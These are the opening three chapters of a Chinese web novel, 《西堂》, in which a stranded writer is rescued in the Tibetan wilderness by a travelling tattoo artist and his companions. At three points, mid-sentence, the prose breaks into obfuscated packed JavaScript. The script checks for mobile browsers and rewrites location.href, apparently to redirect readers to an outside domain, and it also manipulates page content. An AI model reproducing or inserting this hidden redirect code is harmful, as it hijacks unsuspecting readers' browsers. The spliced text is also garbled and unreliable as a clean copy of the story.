《西堂》 1. 第 1 章 沈弋开了双闪灯后立马下车,冷静自持地站路边缓缓点了根烟,烟盒里最后一根。 他吸了一口,嘴巴一开一合间缓缓吐出,烟圈在细微的风中摇曳着飘散,可内心远没有表面这么波澜不惊。 下午两点,信号全灰,一格也没有。 估计再有个几十公里就有信号了,但偏偏车坏在这里。目之所及是荒漠和一条望不到头的公路,唯一能指望的是能有车辆经过,并且愿意搭救他一把。 烟抽完的时候沈弋感觉到热,他不得不小心谨慎地回到车上,将部分必要的东西取出来扔到一边。 高原地区紫外线的强烈穿透力仿佛要灼伤皮肤表层,他喝了半瓶水,打开伞撑着,紫外线被伞面消减。在荒无人烟的无人区中诡异又可笑,他情不自禁地乐了一声,开始无所事事地站在旁边静静等待。 等待是他现当下唯一能做的事,站不住了蹲着,蹲不住了站起来走,走得不远,走得差不多了又折回来。 第四次折回来的时候沈弋从很小的一个背包里拿出相机,镜头对准自己,红色录像灯开始闪烁,一秒两秒…… “这可能是遗言,世界真他妈烂透了,人心更脏透了。爸妈,我爱您们。” 沈弋就录了这两句话,枉他一个文学创作者此时此刻憋不出几句话,他不知道说什么,可能是他还不想死。 我总不能死在这儿吧,沈弋呓语,虽然他确实最近的事业生活一团糟,负面信息漫天飞舞,打开手机十条评论里就有一条在声讨他。 沈弋不害怕死亡,但肯定不想这么轻易无意义的死去,他可以在四千米高空中纵身跳伞事故死去,不可以在荒无人烟的这里被晒死、饿死、冷死。 沈弋的思绪自动倒带一般在脑子里放映起上周发生的事,虽说人逢于世什么人都会遇到,但他初出学校进入社会被这当头一棒打得脑子嗡嗡响。 果然人倒霉起来只会一直倒霉,你以为是最倒霉的时候,其实是最好的时候,接下来只会发生更倒霉更糟糕的事。 一个下午就这样胡思乱想地过去了,太阳渐渐西沉,沈弋按了按肚子,有点饿了,他灌进两口水压了压,还剩最后半瓶水。 那就这样吧,死就死吧,人固有一死,或重于泰山,或轻于鸿毛,他只是死得比鸿毛还轻,可惜没信号,不能够和老爸老妈告个别,他将身体转了个方向,面朝落日。 夕阳无限好,只是近黄昏。挺好看的,金黄的光洒在沙漠上,西方晕染出一片赤橙,泼洒着一天的时间里最后的希望,最后的余晖逐渐被灰黑色的夜幕吞噬,警示着沙漠上的人黑夜即将来临。 沈弋无可奈何地欣赏完这片恍若生命倒计时的晚霞,可怜心酸地承认如果再没有车辆经过,那他可能命丧今夜,不死也好不到哪去,毕竟沙漠昼夜温差很大,他没有带帐篷和御寒的衣物,在他的计划里,他会用半天穿过这片无人区,到达预订的民宿。 艳阳变成落日,落日变成余晖,余晖也即将消失,用胶片拍摄的话这无疑是氛围感很好的镜头,但沈弋只感觉到冷,打了个哆嗦才想起来右手还举着伞,他正要收伞,一道白色的灯光刺到他的余光里。 沈弋立马顺着路边冲过去喊叫出声,他一瞬间忘记了要收伞,用空着的那只手大幅度地摇晃,力求引起司机的注意。 车不止一辆,是个小型车队,四辆车,打头阵的是辆银色奔驰大G,它像这片荒漠里唯一的猛兽一样缓缓停在了沈弋面前,后面的三辆车也相继停住。 银色奔驰的车窗降了下来,副驾驶没人,沈弋往驾驶位看去,只看得出是很高大强壮的身体,面容看不清,喉结很明显,他愣了愣才反应过来急忙出声。 “我的车抛锚了,能不能稍我一程,出了无人区就行,什么条件都可以。”沈弋还没喘匀气,就心急地表明自己的意思,“可以吗?” 奔驰司机没说话,沈弋隐隐约约能看到他握在方向盘上的手的食指点了两下,世界恍惚间变得安静,后面的车响了一声喇叭,打破了这份安静。 沈弋刚想重复第二遍,奔驰车上的人下来了。 “打着伞干什么?” 对方边说话边下车,走到沈弋面前,声音很有韵味,低醇如酒,在静夜中浸得沈弋手指蜷了蜷。 “哦哦哦,刚才打着遮太阳,还没来得及关。”沈弋在看清对方的那一刻心脏好像骤停,怎么会有人长成这样,他在提醒下才想起来关伞。 他对沈弋说:“东西。” “没了,就这一小个包。” 沈弋在他惜字如金的两个字里听懂他的话意,回了他,又看着他开了后座车门,后座的椅子被拆了,放着一大三小四个箱子和一些杂乱的东西,他把一些杂乱的东西收到箱子上,副驾驶的座位朝后调整。 “东西随意放,上车。”他说。 “谢谢,真的非常感谢。” 对方没再说话,颇为冷酷地绕过车头上了驾驶座,沈弋心里说一声还挺酷,打开车门坐了进去。 沈弋精神紧绷一下午,现在被搭救就顿觉累了,他识趣的随着沉默,肚子却“咕噜”声一声接一声,他面对着西堂的看过来的视线只好尬笑。 西堂声色平平地开口:“后面的棕色布袋。” 沈弋扭头看向后座,一眼就看到了棕色的袋子,只有一个棕色的袋子,他使了使劲儿提过来放腿上,拉开拉链就是几个包装朴实无华的月饼,并且是曲热帕利,下面是一袋锅盔。 沈弋把月饼拿出来,制造出来的塑料摩擦声隐隐突兀,他打算吃锅盔,那几个月饼在当时当下更诱色可餐,但它出现得太不合时宜了,现在才五月份。 话语声落进沈弋的耳朵里,“月饼可以吃。” “哦。” 他也就不客气,拿了一个,饿起来连不管什么味都不喜欢吃的月饼也堪比八珍玉食。 车队出了无人区,跟在西堂后面的那辆车又按了两声喇叭,西堂靠边停了车,沈弋被这两声喇叭吓醒,他睁眼看到手里捏着啃了一半的月饼才反应过来自己吃着吃着迷迷糊糊睡过去了。 沈弋顿时尴尬,干巴巴道:“不好意思……” 西堂随意地摆了下手,接通了电话。 丰继敞着嗓子说:“还不算晚,要继续开出去还是前面宿一夜?” 西堂没急着回复,看向沈弋,沈弋赶忙表明自己都可以。 “开。” 沈弋算是看出来了,他好像真的懒于说话。 他不再说话,仓鼠进食样默默地把手里捏得轻微变形的曲热帕利吃完,又拆一个,中间还吃呛了,咳了几嗓子,耳根子促然一热,用刚才被救前剩的半瓶水把呛在嗓子眼的气顺了下去。 沈弋不知道他们的目的地是哪,距离远不远,等他勉强垫饱肚子已经过去半小时,他礼貌地询问:“要不换我来开?” “不用。” “哦。”他被酷哥再次冷漠无情的拒绝了。 有信号了,微信消息、短信、未接电话又是一大堆冒出来,沈弋眉头不经意地皱起来。 他给爸妈和一个好友群里报了平安,其他的一概没理,任由微信界面和短信界面铺满未读消息的红点点,直接把手机关机。 西藏的星星很亮,密密麻麻、有迹可循地布满整个天空,一闪一闪,好像能探索到遥远的宇宙深处,沈弋看得出神。坐在车里看不到多大的夜空,他更多的是单纯看着某处发呆,任由思绪停滞。 车子速度慢下来的时候沈弋都没发现,更没有发现他们拐进了一个小村子。 “下车。” 沈弋惊醒。 “哦哦哦,好的。”沈弋在西堂关车门的声响里解开了安全带跟着下车。 丰继问:“怎么停这儿了?” 说着他拿出烟盒,先给西堂发了根,紧接着就是沈弋,这个发烟顺序让沈弋琢磨出些许意思。 “不了谢谢,我不抽烟。”沈弋笑着拒绝。 丰继挑了挑眉,“没事,烟味能闻吧?” 沈弋:“能。” 太客气了,这几个人,一二三四,五六七,七个人看上去一个比一个更像土匪头子,待人接物这么规矩有礼。 “受邀,吃顿饭住一夜走。”青白色的烟雾有些模糊了西堂的脸,“先去吃饭。” 但是他们几个人诡异地没有要走去哪的行为动作,沈弋一头雾水,突然脑子一灵光。 “你们不是要吃饭吗?你们去你们的,不用管我,等会住宿别落下我就行。”沈弋善解人意地说。 李木忍不住笑出声,丰继跟着呛了口烟,另外几个人笑得更是大声,一点不顾及沈弋。 西堂没笑,眉目舒展,他取下嘴里的烟夹在指尖,问:“几岁了?” “?……25。”沈弋不知道他们笑什么,又怎么扯到他的年龄了。 李木戏谑说:“真是小孩。” 丰继又咳又笑,说:“哎哟,我们只是站着把这根烟抽完,怎么可能把你丢下,脑袋想什么呢!” 沈弋给自己闹了个脸红,清了清嗓子缓解无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046869|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾及的尴尬,一群人笑得肆无忌惮,半天没停下来。 西堂抽得最慢,将烟蒂扔在脚边踩灭,拍了拍沈弋的肩,“走。” 沈弋环顾四周,村子具体村名不知道叫什么,出了无人区,可能到改则了,而且这群人应该是年龄都比他大。 脚步顺着西堂往左往右拐了两条一米多宽的巷子就停住,他没喊人,直接掀帘子进去了,沈弋又知道了,这是西堂的朋友家里。 “西堂,你们终于来了,快请坐,我们等着你们来开席!”主人家很热情,嗓门爽朗。 诶,xi tang,好名字,不知道姓什么、名是哪几个字,不过不管姓什么名如何都挺好听的。 沈弋看向说话的人,一个皮肤标准高原红、个头还挺高,身体健硕、且普通话不错的中年人,估摸三十多岁。 西堂前跨一步和他握手又拥抱,“久等了。” “快坐快坐,大家都坐。” 沈弋怕影响他们,他一个“外来人”,自觉地想去坐最偏僻的那个位置,但被西堂按着坐在旁边。 “没事,坐这。”西堂眼瞅着他的意图,说。 “有几个新面孔,我叫平措,你们不要拘谨。” 平措很忙,忙着说话,忙着递烟,忙着倒茶,忙着热情。 沈弋不知道要不要主动介绍自己,几个新面孔,那就不止他一个,他打算等旁人先介绍,他再跟着。 结果……没人介绍自己,大家已经开始敬酒环节了。 平措抬起酒杯,冲着大伙,“第一杯,感谢西堂他们的到来,路上辛苦了,喝酒喝茶随意,我干了。” 点名了是西堂他们,那他们自然得回敬,沈弋估摸自己也得算进去,他眼睛在酒杯和茶杯之间来回,抬了茶杯,是西藏特有的甜茶,西堂他们……他们都抬了酒杯。 “第二杯,大家今晚吃好喝好。” 第二杯沈弋有了参考答案,抬的是酒,他酒量还行,不过对上酒风彪悍的藏族友人肯定不能够,今晚肯定得醉。 他们开始聊天,各说各的,一边是藏语,另一边是不标准的汉语,再另一边是标准的普通话。 沈弋指尖轻点桌沿,觉得好玩,刚刚的那点局促一下就消失得无影无踪。 他左手边的人叫丰继,丰继旁边的叫李木,其他的人介绍了也没记住。丰继、李木和西堂是朋友,其他人是临时加入到他们团队的。 沈弋也介绍自己:“沈弋,‘游弋’的‘弋’。” 他眉峰轻动,说:“冒昧问个问题,你们平均年龄多少?” 丰继不在意,但开玩笑地说:“确实挺冒昧的,平均三十一二吧。” 沈弋惊得两边眉毛都挑了挑,他以为就比他大两三岁。 “为了成功解救无人区少年干一杯。”丰继举杯。 沈弋下车的时候给他们塞钱,不多,千把块,被他们轮番教育了一顿,说是竟敢质疑山东男人的善良品质。 他只好再次感谢:“该是我来敬,真的谢谢你们。” “喝酒,再说谢谢就把你丢出去。”丰继笑着威胁他。 “行,喝酒。”沈弋和他碰杯。 主食是三头长一米左右的火烤蕨麻猪,然后主食就没了,藏面、青稞饼、酥油糕、酥油茶、奶渣。 沈弋突然想吃酸奶,但他不可能点菜。 平措和西堂时不时聊几句从前和现在,丰继他们插科打诨、偶尔和藏族友人牛头不对马嘴各说各的来几句陪一杯,藏族友人们不间断地、突然地出来个代表敬大伙一杯。 连西堂也和沈弋碰了碰,你一杯我一杯,沈弋都数不清他喝了多少,能感觉到自己喝多了,因为他得单手支着侧脸,晕,天旋地转。 耳边是一群不认识的人的说话声,他听着这些杂乱无章的声音感到舒畅,其实就是放松,这里谁也不认识他,无所顾虑,没有尔虞我诈,没有人情世故,没有人性的恶劣,没有…… “这小孩喝多了?” 谁啊,打断他的煽情,左边的声音。 右边也有声音了,“看着是。” 眼前突然冒出来一只手,手指修长,“头晕?” 沈弋昂了昂头,眼神朦胧地说:“想睡觉。” “先别睡,马上就散了。”西堂道。 这人又是谁啊,觉也不让睡,我偏睡。 沈弋直起身子想换个姿势,睡觉嘛,得靠着才舒服。 他惬意地往后一靠,伴随着一阵混乱的声响,他的头就砸到了地板上。 2. 第 2 章 “啊!” 沈弋被尖锐的疼痛刺得喊了一声。 “诶哟!这倒霉孩子!”丰继哭笑不得。 其他人七嘴八舌问着话,听不懂的藏语也能猜到,肯定是问怎么样。 西堂放了酒杯过来看,他摸了摸沈弋的后脑勺,起了个包,没血。 平措也一脸担忧地问:“怎么样,没出血吧?” “没出。”西堂和丰继一左一右将沈弋架起来放回凳子上。 这一磕把沈弋的酒劲儿都砸醒了,感觉后脑勺裂开了,他木怔着自己抬手摸了又摸,眼眸里泛着泪光问:“真的没出血吗?我怎么感觉脑花都砸出来了。” 丰继他们又在不顾及他面子地放声大笑。 李木接他的话:“年轻就是不一样,喝多了席地而睡。” 平措不知道什么时候离开的,他回来手里多了个陶瓷小瓶子。 “家里自己搞的,效果很好。”平措看着沈弋说。 沈弋不在意,乐于接受地点点头,嘴里道谢。 平措见他同意就打开瓷瓶要往手里倒药水,沈弋急忙打断他,“诶诶,我自己来就好,省得弄脏你的手。” 平措浑不在意地说:“没事啊,再说你也看不见擦。” 沈弋只好把脑袋伸过去,平措手要碰上的时候西堂把鼓包那里的头发拨开,方便了平措擦药,药水也不会过多的沾染到头发上。 “凉凉的,擦上去。”沈弋对着平措颠三倒四地说。 闹了这么一出,大家伙都还站着没坐下去,西堂顺势往杯里倒满酒,他举着酒杯不急不缓道:“感谢大家,宾至如归,夜深了要不散了?” 话落不等其他人说话,他自己先干了。 平措紧跟着反应过来,他一如西堂他们刚进门时的热情说:“是,很晚了,你们也累了,早点回去休息。” 西堂在平措说话的时候他又倒满了,“最后敬一杯。” 刚才的时间够大伙往自己杯里倒酒了,包括沈弋,他也举着杯和一堆酒杯碰在一起,酒杯被撞过去撞过来。 出了门寒暄几句就各回各的,平措带他们去住的地方。 平措说住在他家,家里人都去村里借住了,只有他和他们住一起。 沈弋偷偷拉过西堂大舌头地问主人家全家让位给客人住会不会不太好,西堂说没事。 屋子很干净整洁,被褥能闻见淡淡的香味,沈弋识别不出来是什么香,两个人睡一间,他不知道自己的归处,不过和谁都行,他不介意。 “你和西哥吧。” “要不我自己吧。” “哟,咱西哥也有不抢手的时候。” ?!?!啊!沈弋顿觉尴尬。 西堂掀了掀眼皮似笑非笑看向他。 “我,我是说你们都是朋友,刚好九个人,我就不拆散友情了。”沈弋为自己辩解,恨不得原地遁逃,手抓了抓衣角。 西堂低笑出声:“行,你自己一屋。” 平措被逗乐:“那你有事就打开门喊一嗓子,我听得见,厕所和洗漱台都在刚才进门那里,拖鞋穿床边的就行,新的。” 沈弋边听边答应,这间房现下是他的了,其他人就走了出去,房间顿时安静了,相应的门外有了说话声。 酒劲儿重新上来了,这次他放心地往后一躺,床接住了他,脑袋上的鼓包还能感觉到疼,他偏了偏头。 明天得问问平措有没有能拖车的,他开始后悔刚才为什么不拿套衣服再上车,但确实过于麻烦,衣服在行李箱里,行李箱在后备箱,汽车抛锚他也得避开车子到安全区域。 他缓了缓酒劲儿起身去洗漱,院子里还挺热闹,进进出出,很好,他不用找洗漱台和厕所了,跟着走就行。 西堂和平措在另一边站着抽烟,隐隐约约能听到俩人的说话声,沈弋看了一眼没去打扰,他洗漱完上了个厕所就老实地上床窝着了。 今天太意料之外了,沈弋想,把手机开机调了个七点半的闹钟充上电终于放松神经睡去。 起床气烦得要死,但寄人篱下、还得找拖车的人,他得起来。 沈弋自信满满以为自己是这房子里起得最早的,打开门目之所及没有一个人影,他边洗漱边得瑟,给老年人一点早起的震撼,谁让他们笑得放肆。 院子里有把躺椅,沈弋感觉到饿,他耐心地躺在椅子里晒太阳等待老年人们起床。 清早有点凉,房子坐西朝东,阳光刺眼但和煦,他换了个方向背对着大门。 在沈弋晒得迷迷糊糊的时候,门外传来说话声,他随着大门打开的声响扭头看去,目瞪口呆。 所以是,所有人都起了?他是最后起床的! 一群人打开门就看到脸颊晒得微微泛红的沈弋侧着身子趴在躺椅上,阳光像是一双温柔的手触摸着他,整个人散发着活力,他的声音里还有未褪尽的清冽,“早上好啊。” 从昨晚到今天,大家都很容易地记住了他,不光是他喝多后磕了脑袋,还出于这个人长得帅,也不一惊一乍,所以大家都很喜欢他。 “早上好。”“早。”“起了啊。”…… 平措扬了扬手里的早点,“早,吃早饭。” “是饿了。”沈弋从躺椅上起来,跟着去厨房里。 “不用进来,外面搬个凳子坐好。”丰继见他跟着进去,抬手拦他。 “哦。” 一口酥油茶从喉咙暖到胃里,沈弋精神一振。 吃完早点一群人火速收拾完就要出门,沈弋不知道他们要去干嘛,只是两步跨过去赶紧拉住平措。 “怎么了?”平措疑惑问他。 “知不知道哪里有拖车的?我的车抛锚还扔在国道上。”沈弋解释道。 “认识,我直接带你去吧。”平措先对沈弋说,再转头和西堂讲,“你们能行吗,能行我就先和小沈走了。” 西堂看了沈弋一眼摆摆手,示意俩人快走,“能行。” 沈弋和平措先走一步,出了门两个人闷头走,沈弋随便找个话题聊,聊了几句绕到西堂身上,他对这群人很好奇,直截了当问平措,“你们刚才要去做什么,我有没有耽误你们?” “没有,他们去村里帮个小忙,桑巴大叔的牛圈和羊圈需要修一下。”平措说,语气里能听得出来他的过意不去,“他们很热情、善良,像这里的大地之树一样,看着就觉得踏实。” “是,我就是被他们搭救的。”沈弋附和。 “我初遇西堂也是被他帮助,在老挝我病发晕倒,旁边的人不敢救,只有西堂。”平措目光悠扬。 “老挝?他经常到处去吗?” “对,西堂吧,很自由,他在这片天地间走走停停,没有任何人和事能打扰他的自由。”平措说得有些深沉,说完还叹了口气。 沈弋没懂他叹气是什么意思,只能按自己想的说:“很酷,随心所欲挺好的。” 他也想随心所欲,但他处处碰壁。 “没有人能随心所欲,除非他在这个世上无牵无挂。” 沈弋琢磨了他的话,点点头,“你说的也对。” 村子比较小,他们很快就走到了,沈弋和店里的人交谈得很顺利,先拖车,再修好,修好以后告知他,他会把他到时候的位置发给他们,他们再将车运过去。 最后的是额外要求,店里不同意,但沈弋用钱解决了,加上平措的担保。他把车牌和车的照片发给了员工,说了车所在的大概位置。 返回的时候平措打了个电话问西堂他们好没好,西堂说已经好了。 沈弋和平措回到家,丰继就来和他说,“你带着相关证件吧,我们去办手续,一起?” “你们要去往下一个地方了?你们走你们的,我就不一起了吧,不方便。” “我们去措勤,你去哪?”丰继没管他说的话,又问。 沈弋踌躇了一下,老实说:“我也去措勤。” “那不就得了,你车一时半会也拖不回来。”丰继摆出了据理力争的架势,“你个小孩怎么一点都不随群呢。” 好好好,道德绑架了,沈弋无奈地看向丰继的西哥,寄希望于他来主持大局。 只听丰继的西哥慢条斯理地说:“听他的吧,钱没要你的,请顿饭吧。” 沈弋晕头转向被拉去一起办手续,去商店里补了些路上的所需,在平措家里吃完午饭整顿好就出发了。 平措 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046870|162715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自来熟地和沈弋交换了联系方式,丰继等人也跟风一样扫了二维码,最后是西堂,沈弋一个个给同意好友。 沈弋还是跟西堂一辆车,他心情不错,和之前几天比起来好太多了,还是西堂开车,这人又一次拒绝了他当司机的请求,他也就不纠结了,静静地朝窗外看,享受这份清闲。 一路上随处可见的动物,远山的山头还有积雪,草地黄绿黄绿的冒出新草,嗯,春风吹又生。 今天万里无云,偶尔看到的一个小湖,应该算湖,水很清,这么判断是因为一眼扫过去湖和天空同色,水清,倒影。 不知道风吹着怎么样,沈弋百无聊赖地想,西堂开的时速比较快,不适合开窗,想到这沈弋才发觉车窗被擦得很干净,清清楚楚地看了这么久,他都没反应过来车窗是关着的。 “为什么一个人开无人区路线?”西堂目视前方问。 沈弋因突如其来的声音受惊,愣了愣神,“因为我很讨人嫌,没朋友,一心求死。” “……”西堂抿了抿唇,“那我重新送你回去?” 沈弋没想到他会这么接话,没忍住笑出声,“别,心情不好出来散散心。” 他继续目视远方道:“不想说话,不想接触人,不想意见有分歧去迁就别人,更不想别人对我指手画脚,那就一个人好了。” “想一个人活你得放得下,放得下吗?”西堂当他年轻人为赋新词强说愁。 沈弋扭头看了看西堂,又重新看向窗外,“放不下。” “那就学会适应和接受。” “但适应和接受往往换来的都是自己不想要的,甚至被别人栽赃陷害。” “可以还回去,但如果代价太大,就得回到适应和接受上。” 沈弋蹙了蹙眉,“我知道,但他们的所作所为就是错的,我不甘心。” “社会本来就是不公平的,阶级分明。”西堂平铺直叙地说,“还有一个办法,离开。” “这我也知道,离不开,离开了更不能活了,活着真他妈费劲。”沈弋说完才惊觉自己说了脏话,“不好意思。” “没事。”西堂短暂地松开方向盘,灌了一大口水,“你说得对,活着确实很费劲。” 沈弋舔了舔嘴唇,像被传染,也跟着喝了口水。 “这话你来说不太合适吧,平措说你很自由,经常到处去。” 西堂没说话,停顿了很久,久到沈弋自我反省他说的话是不是触碰了对方不为人知的方面,他张了张口要道歉,西堂却说话了,说得很欠揍。 “你到我这个年纪就懂了。” 沈弋放下心来,他的话没有令西堂不悦,不过换了个话题。 全程差不多三百公里,中途休息了一次,没有任何人拍照,每个人松弛得像是这条路的老熟客。 沈弋不拍是他没那个心情,也懒得拍,肉眼看看就够了,他今天的心情不错只是愿意说话,还没到愿意拍照的程度。 除了他以外都在抽烟,昨天他说他不抽烟,今天没人给他发烟了,沈弋默不作声地看着他们抽,吸进去不少二手烟。 还在这片开放式共享厕所解决了个人泌尿系统的需求。 下午四点多快五点到的措勤,没有从手机上订住宿,开着车沿路挑,乱逛半天才选定,再次刷新了沈弋对几个人的认知,宁愿这样去浪费时间也没人掏出手机,不知道是不是年纪大不会使用智能手机。 这回没有了平措,刚好八个人,丰继开始调侃沈弋,“这次还拆散友情吗?我们七个人,拆不拆都多出一个人。” 沈弋面无表情,“不拆了,和抢手的西哥一间。” 西堂哼笑一声进去,沈弋紧随其后。 住宿条件很简单,普通的两百块标间,沈弋把东西一搁就往床上躺,旁边也没声音。 他躺得感觉整个人终于舒坦了,才伸了伸脖子看西堂在做什么。 他吸了吸鼻子,闻见身上的臭味,衣服穿了昨天和今天了,还好前天晚上洗澡了。 几次鼓起勇气也没发出声音,他眼睛一闭,毅然决然地喊:“西哥,能不能借我身衣服穿?我这身馊了。” 没人回应,但房间里响起了拉链声。 3. 第 3 章 沈弋听见声响就放心地静静等待西堂找衣服给他,目光落在天花板上眨了几次眼后,衣服砸在他头上,啧,故意的吧。 鼻腔充斥着淡淡的香味,洗衣液的气味。 “内裤要不要?新的。”西堂重新坐下问。 沈弋脑子一炸,“……要!” 西堂听完打了个电话,“拿条新内裤过来。” “??什么啊?!”沈弋不顾形象地叫起来,不是穿他的吗?怎么是别人的?他真的很想报警! 西堂语出惊人:“我的内裤不合你穿,穿丰继的吧。” “?……” 沈弋一阵无语,算了,拿人手短,他自暴自弃地想。 丰继敲了敲门,西堂说进。 “给,新的。”丰继神色平常,好像递的是人民币,而不是内裤,“哟,还会脸红,纯洁得难能可贵。” 还不等沈弋怼回去,就听西堂说:“收拾一下出门吃饭。” “ok。”丰继应。 沈弋想了想还是没瞎讲究,侧了侧身站床边利落地脱光自己换上干净的。 “身材不错,腿很长。” 沈弋吃惊又迷茫地猛回头,就撞进西堂的那双眼睛里,他很久没有见过这样的眼神了。 纯粹,平淡,欣赏。 只是观赏文艺复兴时期的艺术作品一样说出了他的观后感,没有丝毫性骚扰的意味。 沈弋不谦虚地收下这份称赞,“谢谢,我知道我身材不错。” “出门。”西堂起身,“脏衣服带上,加钱让民宿的人洗。” “哦,好。”内裤就自己洗了。 一行人看见他穿西堂的衣服没有大惊小怪,连问都没问,好像是西堂的衣服谁都穿过,也可能是他们几个人互相穿过彼此的衣服。 吃牛肉火锅,坐的大桌,锅底一上来丰继就倒了满满一盆牛肉下去。 肉切得很薄,熟得很快,吃进去这一口才觉得下午的疲惫消散了。 沈弋垫了垫肚子才倒满酒提了一杯,他属于不垫肚子喝酒很容易胃疼的那一类。 “第一杯我来敬。”沈弋声音清冽,“丰哥不让我说谢,都在酒里了。” “嘿,这就对了。”丰继语气有些欠,其他人都承他这杯酒。 “第二杯也我来敬。” “怎么杯杯都你来敬?”李木慢悠悠道。 沈弋情不自禁地笑,“本来是出来打发心情的,遇到你们后挺开心的。” 这杯也承了。 丰继适当地说:“好了坐下先吃,再来第三杯我要醉了,照顾照顾老年人的身体。” 沈弋没憋着大笑出声,毫无形象可言。 一盆牛肉很快涮完了,没有特别饿,但累,累的时候吃热乎的会很舒服。 倒第二盆进去吃的速度才缓和了,开始抽烟,开始喝酒,开始聊天。 七个人都在抽,从昨晚到今天二手烟断断续续飘向沈弋,搞得一颗心痒痒的。 他抿嘴道:“哥哥们,实不相瞒,我骗了你们,我是会抽烟的,所以,能不能给我来一根?” 最后一句说得唯唯诺诺。 全部人诡异地安静了两秒,然后全部笑开,吃肉的那俩呛得一阵咳,丰继直接捧腹大笑,连西堂都禁不住笑出声来,边笑边扔了盒烟给他。 沈弋气定神闲地在哄堂大笑中点燃了烟,重重地吸了一口,烟过到肺里,还是一手烟抽着有劲儿啊。 他们笑够了就开始骂。 “小小年纪装什么啊,‘不了谢谢,我不抽烟’,哎哟,逗死我了。” “还搞得有模有样的,我每次抽烟都担心烟味让你闻着不舒服。” “还跟咱几个玩心眼儿。” “当时不熟嘛,我没好意思。”沈弋眉头轻微挑起,道。 “现在熟了吗,现在好意思了?” “熟了熟了,都是我的哥哥们。”沈弋已经抽完了第一根,烟瘾得到了缓解,他点了第二根夹在指间。 “罚一杯。” “好,自罚一杯,三杯来不了。” 其实只是为喝酒找个由头,随意干了一杯。 后来聊得很零散,沈弋得知了他们是来旅扎的,带头人是西堂,平常出来是三四个人,这次算人数较多的,几个人都是山东的,但丰继、李木以及另外一个人不是文身师,跟来玩的。 没有线下店,每次一起旅扎的人是临时凑的,不过西堂在旅扎圈里小有名气,全世界去。想找西堂文身只能随缘,偶遇了就能文,或者跟着他走,他在哪停留的时候你得赶过去,去慢了西堂就转去下一个地方了。 沈弋也说了说自己,算是文字工作者,上级让写的内容和他自己想写的内容不一样,各执己见闹得很不愉快,同事还栽赃陷害。 他自己喝了杯,继续说,工作是很喜欢的工作,但工作需要打交道的大多数人比较素质不详、道德低下,他很苦恼,厌恶他们又喜欢这份工作。 其他人宽慰他,人活着十之八九不如意,只能尽最大的努力去做想做的事,做不到就得学会释怀或者离开。 沈弋咬了咬下唇觉得他们说得对,也觉得他们站着说话不腰疼。几个人看起来经济条件不错,看看西堂的车就知道了,还能够想走就走,丰继和李木不是旅扎师也能随意扔下工作跟着来玩,自己的苦恼又怎能让他们感同身受。 他怅然地想了想又自己别扭了会,有点后悔说这么多,人家交代信息捡好的方面说,自己交代信息捡难堪的说,唉。 有个文身师问了问沈弋一路上居然没有缺氧,沈弋说自己在这边待过半年多,几乎都待在四五千的海拔高度。他们也说他们来旅扎过很多次了,每年都会跑西藏。 西堂他们明天有旅扎的工作,就在措勤,熟人约的,六个顾客,打算是明天一整天争取文完。 沈弋提了点兴趣打算去看,他们很欢迎。 丰继把玩着打火机问:“会不会拍摄?” “还要拍摄?你们文身还需要执法录像啊。”沈弋眼皮一抬惊奇道。 “拍点素材留着老了回忆回忆。”丰继笑。 “会拍,明天我试试,你们看效果行不行。” “好,那你和李木两个人拍。” 沈弋用屁股想一想都知道肯定不止拍点素材这么简单,但显然丰继不想说具体的,那他就不问。 一群人开始分成两派八嘴八舌地说文身和拍摄,气氛很好,吵吵闹闹的很适合下酒。 西堂和沈弋两派都听,西堂是老大,他听听左边的文身工作说几句安排,又听听右边的拍摄指定几句要求。 沈弋没这么玩过,他没文过身,也没见过别人文的过程,他好奇、很有兴趣的在左边捧着别人的手机看文身作品,文得都很好,看得出来技术高超,比他工作遇到的人或者同事身上文的好太多了,又在右边来几句自己对拍摄的见解,互相交换手机看各自拍的作品。 还要在说话的间隙里大口吃肉,一杯杯喝酒,没一点不好意思地抽西堂的烟,忙得不亦乐乎。 这个聊天高潮过了,场面安静了会,每个人脸上挂着畅聊后的兴奋和熨帖。 沈弋开始上头了,感觉到脸有点发热,他无意识地摸了摸自己的脸。 西堂左手搭在椅背后,右手正常喝酒抽烟,他没在继续吃,停着光抽烟喝酒,目光顿顿,不知道想什么。 安静了怎么办,来一杯就好了。 “诶,xi tang……哪个xi,哪个tang,姓什么?我一路都挺好奇这个问题的。”沈弋抿了一口酒,问。 “你西哥就姓西。” “噢,少见的姓。” “人也少见。” 这话沈弋不接,又问:“哪个堂?‘画楼西畔桂堂东’的‘西堂’?” “啧,还是个文化人。” “人不都说了嘛,文字工作者。” 西堂靠在椅背上,轻描淡写道:“没寓意,随便捡了个字。” “哦~,‘西堂’~。”他拉长腔调,将这两个念得跟念徐志摩的诗一样。 再后来的事沈弋有些断片,他喝了挺多酒,很久没有喝得这么称心,以往喝酒不能叫喝酒,要不为了工作被灌酒,要不借酒消愁,要不为了创作把酒当灵感精神药剂。 他连怎么回去的都不知道,多半是西堂带回去的,不过还好,意识里依稀记得他是能自己走路的,不至于让西堂拖死狗一样拖他。 其实也丢人了,沈弋喝醉以后其他人都还意识清醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 